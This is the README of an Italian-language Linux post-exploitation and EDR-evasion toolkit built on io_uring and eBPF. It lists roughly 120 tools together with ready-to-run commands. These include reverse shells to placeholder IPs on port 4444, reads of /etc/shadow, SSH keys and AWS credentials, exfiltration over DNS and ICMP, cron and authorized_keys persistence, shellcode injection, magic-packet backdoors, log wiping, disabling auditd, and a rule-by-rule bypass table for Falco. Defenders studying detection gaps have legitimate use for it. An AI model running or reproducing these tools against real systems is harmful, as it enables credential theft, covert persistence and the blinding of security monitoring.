matheuzsecurity/furtexToolkit di ricerca per post-exploitation ed evasione per Linux.
Toolkit di ricerca post-exploitation ed evasion per Linux, costruito attorno a io_uring ed eBPF. Niente liburing, niente framework, syscall raw ovunque.
Presto altri strumenti. Le PR sono benvenute. 🇧🇷
Unisciti a Rootkit Researchers
Solo per ricerca autorizzata e engagement red team. Non eseguirlo su sistemi che non possiedi.
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## Requisiti
**Toolchain**
| tool | necessario per |
|---|---|
| `gcc` | tutti i binari userspace |
| `clang` | programmi BPF `ebpf/*.bpf.c` |
| `make` | sistema di build |
**Header e librerie**
| pacchetto | necessario per |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` e relativi header del kernel |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` e affini usati nei programmi in `ebpf/` |
| `bpftool` | generare `vmlinux.h` tramite `make vmlinux` dentro `ebpf/` |
Su Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
Versioni del kernel
Capabilities
BTF deve essere abilitato nel kernel (CONFIG_DEBUG_INFO_BTF=y) per eseguire make vmlinux per i programmi ebpf/.
Su distribuzioni con header libc-dev più vecchi (Ubuntu 22.04 ecc.) potresti aver bisogno di #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Già gestito in questo repo.
edrs/ ha il proprio sotto-Makefile con circa 75 binari suddivisi per privilegio:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
Vedi [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) per la ripartizione completa.
## Copertura del bypass di io_uring
Gli SQE di io_uring passano attraverso la workqueue del kernel. `io_uring_enter(2)` non chiama mai tramite `sys_call_table`, non attiva mai i tracepoint `sys_enter_*` e non colpisce mai livepatch su `native_sys_call`. Da solo, elimina un'ampia classe di hook EDR senza toccare nulla.
Cosa bypassa io_uring da solo:
| hook point | nota |
|---|---|
| sostituzione del puntatore `sys_call_table` | io_uring non passa mai attraverso la tabella delle syscall |
| livepatch su `native_sys_call` / `compat_sys_call` | stessa ragione |
| tracepoint `sys_enter_*` | percorso workqueue, nessun tracepoint si attiva |
Cosa io_uring NON bypassa da solo (richiede uno strumento attivo):
| hook point | strumento | cosa fa lo strumento |
|---|---|---|
| kprobe su `vfs_read`, `security_file_open`, ecc. | `ftrace_enum` | rimuove gli hook kprobe |
| BPF LSM / KRSI | `bpf_link_detach` | stacca il link BPF |
| Linux audit | `audit_kill` | disabilita auditd tramite NETLINK_AUDIT |
| patch LD_PRELOAD / PLT-GOT | `plt_unhook` | rimuove gli hook in userland |
| netfilter OUTPUT / conntrack | `af_packet_shell` | usa AF_PACKET a livello 2, salta netfilter |
| hook su `inet_stream_connect` | `udp_shell` | usa UDP, non chiama mai il percorso di connessione tcp |
## io_uring/
`iouring_utils.h` gestisce la configurazione del ring senza liburing.
| binario | cosa fa |
|---|---|
| `file_read` | catena OPENAT+READ+CLOSE tramite io_uring, nessun evento sys_enter_read |
| `file_write` | catena OPENAT+WRITE+CLOSE |
| `file_append` | come file_write ma con O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV in un unico ring |
| `net_reverse_shell` | reverse shell tramite CONNECT di io_uring |
| `multifile_read` | fino a 64 file in un unico batch SQE |
| `memfd_exec` | stream ELF tramite stdin in memfd, execve tramite /proc/self/fd |
| `proc_inject` | iniezione JIT tramite /proc/PID/mem; iniezione ptrace (flag --ptrace) |
| `pipe_splice` | SPLICE da kernel a kernel, gli hook in userland non vedono mai i byte |
| `inotify_bypass_watch` | la READ di io_uring non genera IN_ACCESS/IN_OPEN |
| `dns_exfil` | codifica i dati in esadecimale come etichette di query DNS tramite io_uring SENDMSG |
| `af_packet_send` | Ethernet raw tramite AF_PACKET (IORING_OP_SOCKET, bypassa il percorso inet) |
| `xdp_socket_send` | frame raw tramite AF_XDP + ring UMEM, bypassa completamente netfilter |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
La maggior parte degli strumenti richiede CAP_BPF. env_exfil funziona senza privilegi. icmp_trigger richiede CAP_NET_RAW invece di CAP_BPF.
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444
## ebpf/
Richiede clang + libbpf + vmlinux.h. Esegui `make vmlinux` dentro `ebpf/` per generare dal BTF del kernel in esecuzione.
| file | cosa fa |
|---|---|
| `exec.bpf.c` | tracepoint su sys_enter_execve |
| `fentry_open.bpf.c` | tracepoint su sys_enter_openat |
| `creds.bpf.c` | traccia openat+read sui percorsi delle credenziali |
| `keylog.bpf.c` | tracepoint degli eventi di input, cattura raw del keycode |
| `net.bpf.c` | logging di sys_enter_connect |
| `net_hide.bpf.c` | nasconde le porte da /proc/net/tcp e /proc/net/udp |
| `proc_hide.bpf.c` | nasconde i PID dall'output di getdents64 |
| `tty_sniff.bpf.c` | cattura scritture e letture su stdin/stdout/stderr |
| `skf_c2_runner.c` | C2 ICMP tramite filtro socket BPF classico |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | trigger XDP su pacchetto UDP magico |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01
sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>
sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337
sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan
sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload
./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out
cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload
sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so
./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444
./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443
./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack
./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali
./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5
./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh
./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>
## techniques/ (bypass di Falco)
Prende di mira il ruleset predefinito di Falco (driver `modern_ebpf`, 25 regole). Esegui prima `edrs/edr_recon`.
Asse di bypass A: impedisci all'evento di raggiungere Falco (io_uring salta `sys_enter_*`, lo svuotamento del ringbuf elimina silenziosamente gli eventi).
Asse di bypass B: l'evento raggiunge Falco ma la condizione della regola non corrisponde (spoof di proc.name, path pivot, flag alternativi).
| tool | asse | regole Falco |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | tutte |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | tutte |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | tutte |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | tutte e 25 |```bash
./techniques/uring_ops cat /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999
sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain <map_id>
./techniques/ringbuf_overflow flood 16 10
./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all
sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload
./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc <hex>
./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen <so>
./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"
./techniques/proc_masquerade setname sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>
./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell
./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444
./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"
./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>
./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log
Apri una PR. Strumenti monouso, syscall grezze, nessuna nuova dipendenza.
Questo progetto è destinato esclusivamente alla ricerca sulla sicurezza, a test di penetrazione autorizzati, a competizioni CTF e allo sviluppo di strumenti difensivi. Tutte le tecniche qui dimostrate sono documentate nella ricerca pubblica sulla sicurezza e nella documentazione del kernel.
Non utilizzare questo toolkit su sistemi di cui non sei proprietario o per i quali non hai un'autorizzazione scritta esplicita a eseguire test. L'uso non autorizzato può violare il Computer Fraud and Abuse Act (CFAA), la direttiva UE sugli attacchi ai sistemi informativi e leggi equivalenti nella tua giurisdizione.
Gli autori non si assumono alcuna responsabilità per un uso improprio. Utilizzando questo software accetti di essere l'unico responsabile della conformità alle leggi applicabili.
| minima | cosa sblocca |
|---|
| 5.4 | base di io_uring (IORING_FEAT_SINGLE_MMAP, iterazione delle mappe BPF) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | split CAP_BPF + CAP_PERFMON (sostituisce CAP_SYS_ADMIN per BPF) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
| capability | strumenti che la richiedono |
|---|
CAP_BPF (o CAP_SYS_ADMIN pre-5.8) | tutti i tool bpf/, i loader ebpf/ |
CAP_PERFMON | i programmi tracepoint e kprobe di ebpf/ |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
| comando | compila |
|---|
make all | tutto |
make uring | solo io_uring/ |
make bpf | tool userspace di bpf/ |
make ebpf | programmi lato BPF (richiede clang + libbpf) |
make edrs | tutti i binari di edrs/ |
make techniques | tool di bypass Falco |
make clean | rimuove tutti i binari |
| binario | che cosa fa |
|---|
map_recon | elenca tutte le mappe BPF caricate |
map_dumper | esegue il dump dei contenuti della mappa per ID |
map_write | aggiorna le voci della mappa per ID |
map_poison | azzera le voci interesting_sys di Falco attorno a un payload |
prog_recon | elenca i programmi BPF: tipo, nome, numero di mappe |
pid_allowlist | inserisce un PID in una mappa allowlist dell'EDR |
edr_fin | valuta le mappe/programmi BPF caricati in base a euristiche EDR note |
lsm_check | rileva gli hook LSM BPF attivi e verifica se le scritture sulle mappe sono bloccate |
bpf_persist | fissa/recupera/rimuove mappe e programmi su bpffs |
map_snapshot | salva e ripristina i contenuti delle mappe in un file binario |
env_exfil | legge /proc/*/environ per cercare segreti |
bpf_link_detach | elenca e scollega i link BPF (rimuove gli hook LSM) |
link_update | reindirizza un link BPF a un programma no-op (l'hook rimane visibile, non attiva nulla) |
map_freeze | congela una mappa BPF in sola lettura tramite BPF_MAP_FREEZE (le scritture restituiscono -EPERM) |
icmp_trigger | backdoor ICMP magic-packet; avvia una reverse shell tramite relay socketpair; si maschera da kworker/u4:2 |
| sudo ./bpf/map_recon | |
| sudo ./bpf/map_dumper 42 --ascii | |
| sudo ./bpf/map_write <map_id> <key_hex> <val_hex> | |
| sudo ./bpf/prog_recon --maps --lsm-only | |
| sudo ./bpf/edr_fin | |
| sudo ./bpf/lsm_check <map_id> | |
| sudo ./bpf/pid_allowlist <map_id> [pid] | |
| sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map | |
| sudo ./bpf/bpf_persist list /sys/fs/bpf | |
| sudo ./bpf/map_snapshot save <prog_id> snap.bin | |
| sudo ./bpf/map_snapshot restore snap.bin | |
| ./bpf/env_exfil --filter AWS | |
| sudo ./bpf/bpf_link_detach list --lsm-only | |
| sudo ./bpf/bpf_link_detach detach-lsm --dry-run | |
| sudo ./bpf/link_update <link_id> | |
| sudo ./bpf/map_freeze <map_id> | |
| sudo ./bpf/map_freeze --prog <name_substr> | |
| sudo ./bpf/icmp_trigger --daemon | |
| sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port> |
| binario | root | tecnica |
|---|
edr_recon | sì | rilevatore EDR di 12 vendor: processi, artefatti, moduli, BPF, kprobes |
bpf_prog_recon | sì | enumera programmi BPF caricati, mappe e kprobes |
bpf_map_wipe | sì | cancella le voci delle mappe BPF |
bpf_detach_all | sì | scollega tutti i link BPF |
tetragon_blind | sì | scansiona, congela, scongela, uccidi o acceca i processi Tetragon/Falco |
ftrace_enum | sì | enumera e rimuove gli hook kprobe/ftrace |
lkm_unload | sì | scarica i moduli del kernel |
lkm_inline_detect | sì | rileva gli hook kernel inline |
perf_bpf_kill | sì | enumera e uccide i programmi BPF perf-event di Falco |
module_recon | sì | enumera i moduli del kernel |
cgroup_freeze | sì | congela/scongela il processo tramite cgroup v2 |
oom_cage | sì | imposta oom_score_adj per sé o per il target |
sysctl_blind | sì | legge/scrive sysctl rilevanti per la sicurezza |
audit_kill | sì | disabilita/limita l'audit Linux tramite NETLINK_AUDIT |
inotify_exhaust | sì | consuma tutte le watch inotify |
netfilter_flush | sì | svuota le catene netfilter |
dmesg_wipe | sì | pulisce il ring buffer del kernel |
ld_so_preload | sì | manipola /etc/ld.so.preload |
proc_hide | sì | nasconde /proc/PID tramite bind-mount |
mount_over | sì | bind-mount su percorsi arbitrari |
log_wipe | sì | tronca i file di log e la cronologia della shell |
elf_infect | sì | iniezione di parassita da PT_NOTE a PT_LOAD |
proc_mem_inject | sì | pwrite su /proc/PID/mem, senza attach ptrace |
af_packet_shell | sì | C2 Ethernet raw che bypassa netfilter OUTPUT |
icmp_tunnel | sì | esfiltrazione tramite payload ICMP echo-request |
event_flood | sì | flood di eventi attorno al payload per saturare il monitor |
livepatch_bypass | sì | io_uring oltre gli hook livepatch sul dispatcher di syscall |
livepatch_stack_blind | sì | disabilita lo stack di hook livepatch + BPF kprobe + netfilter; scaricamento moduli tramite spoofing di comm |
lsm_authlink_blind | sì | disabilita i flussi LSM auth-link, congela o uccidi l'agente di autenticazione, scrivi tramite inode swap |
lsm_callback_bypass | sì | bypassa i callback LSM tramite pidfd_getfd, process_vm_writev, attach perf+BPF, nuova netns |
bpf_fim_blind | sì | congela il sensore BPF FIM, cancella le voci della mappa ring-buffer, inonda il ringbuf |
syscall_dispatch_bypass | sì | operazioni file/net io_uring che bypassano le kprobes sul dispatch delle syscall e livepatch do_syscall_64 |
bpf_kprobe_bypass | sì | operazioni file/net/exec io_uring che bypassano i target kprobe _x64_sys* |
ptrace_inject_so | sì | carica .so in un processo attivo tramite ptrace + dlopen |
uring_stealth | no | operazioni file/net tramite io_uring, nessun evento sys_enter_* |
openat2_bypass | no | syscall alternative (openat2, copy_file_range) |
ptrace_selfguard | no | blocca il ptrace esterno tramite processo guardiano |
plt_unhook | no | rileva e bypassa gli hook PLT-GOT tramite dlmopen |
fexecve_drop | no | ELF in memfd, execve tramite /proc/self/fd |
memfd_loader | no | carica .so tramite memfd, costruttore invocato |
memfd_userexec | no | ELF da stdin in memfd, execve tramite /proc/self/fd |
hollow_proc | no | process hollowing con nome esca in ps |
argv_spoof | no | rinomina comm tramite prctl(PR_SET_NAME) e sovrascrittura di argv[0] |
clone_netns | no | exec in net namespace non privilegiato |
ns_exec | no | unshare di user/pid/mount namespace |
splice_c2 | no | C2 TCP che usa splice(2) per il trasferimento dati; gli hook send/recv non scattano mai |
abstract_sock_c2 | no | C2 su socket Unix astratto |
udp_shell | no | reverse shell UDP, bypassa inet_stream_connect |
tls_shell | no | reverse shell dietro un falso ClientHello TLS |
dns_exfil_raw | no | dati codificati in hex come label di query DNS |
pidfd_steal | no | ruba fd aperti da altri processi tramite pidfd_getfd |
vma_hide | no | ciclo RWX a PROT_NONE, MADV_DONTDUMP, rinomina VMA |
coredump_block | no | blocca i core dump tramite filter/dumpable/rlimit |
seccomp_notify | no | intercetta le syscall tramite SECCOMP_USER_NOTIF |
ipc_covert | no | C2 su POSIX mqueue |
shared_mem_c2 | no | C2 su POSIX shm, nessun traffico di rete |
pipe_exfil | no | esfiltrazione tramite splice(2), hook LD_PRELOAD accecati |
proc_fd_scan | no | scansiona i symlink /proc/PID/fd per percorsi sensibili |
proc_vm_inject | no | process_vm_writev, nessun /proc/PID/fd aperto |
self_delete | no | elimina il proprio binario dal disco mentre è in esecuzione |
time_stomp | no | clone/zero/set di atime+mtime |
userland_persist | no | bashrc/crontab/autostart/authorized_keys |
env_scrape | no | legge /proc/*/environ per segreti e socket SSH |
anon_shellcode | no | shellcode in MAP_ANONYMOUS, nessun file, nessun execve |
ld_preload_inject | no | rilascia .so, inietta tramite LD_PRELOAD |
ssh_agent_hijack | no | parla il protocollo agent al socket catturato |
fanotify_bypass | no | memfd/anon-mmap/devshm per evitare i mark fanotify |
ringbuf_flood | no | satura il ringbuf BPF per far cadere eventi |
log_evasion | no | operazioni file io_uring e shell TCP a syscall raw, nessun wrapper libc |
syscalltable_bypass | no | io_uring oltre gli hook del puntatore sys_call_table |
uring_recon_unpriv | no | credenziali, chiavi, connessioni tramite lettura io_uring |
fd_steal_read | no | ruba fd tramite pidfd_getfd, legge senza una propria open() |
mmap_read | no | legge file tramite mmap, nessuna syscall read() |
scm_rights_exfil | no | passa fd tramite SCM_RIGHTS, legge senza una propria open() |
splice_read | no | legge tramite splice(2), nessun buffer in userspace |
| sudo ./edrs/edr_recon | ||
| sudo ./edrs/edr_recon procs arts mods | ||
| sudo ./edrs/edr_recon progs maps |
| Regola | Elusione | Strumento |
|---|
| 1 Lettura di file monitorata tramite directory traversal | io_uring OPENAT | uring_ops cat, per_rule_bypass dir-traversal |
| 3 Lettura di file sensibili non attendibile | io_uring or prctl | uring_ops creds, bypass_file_rules read-masked |
| 4 Esecuzione di shell non attendibile | python3/perl instead of sh | rule_evade unusual-shell |
| 6 Shell terminale nel container | setsid, proc.tty=0 | bypass_proc_rules shell-notty |
| 7 Contattare il server API K8S | io_uring CONNECT | uring_ops shell, per_rule_bypass k8s-connect |
| 8 RCE Netcat | C binary, proc.name != nc/ncat | bypass_proc_rules reverse-shell |
| 9 Ricerca di chiavi private | open+read in C, no grep/find | bypass_file_rules grep-bypass |
| 10 Cancellazione attività di log | ftruncate without O_TRUNC | bypass_file_rules log-clear |
| 11 Rimozione dati in blocco | write loop, no shred/mkfs | bypass_file_rules wipe |
| 15 Reindirizzare STDOUT/STDIN verso la rete | fcntl F_DUPFD instead of dup2 | bypass_proc_rules reverse-shell |
| 18 Rilevamento fuga da release_agent | io_uring OPENAT+WRITE to release_agent | cgroup_escape proof/shell, uring_ops write |
| 19 PTRACE collegato a un processo | /proc/PID/mem or process_vm_writev | bypass_proc_rules proc-inject |
| 20 Tentativo anti-debug PTRACE | TracerPid check via /proc/self/status | bypass_proc_rules anti-debug |
| 22 Esecuzione da /dev/shm | exec from /run/user/uid/ instead | bypass_proc_rules run-safe |
| 25 Esecuzione fileless tramite memfd_create | shellcode via mmap, no execve | exe_from_memfd_bypass sc, proc_ghost ghost-sc |
| tutte | svuotare ringbuf o rimuovere scap.ko | ringbuf_overflow, kmod_unload |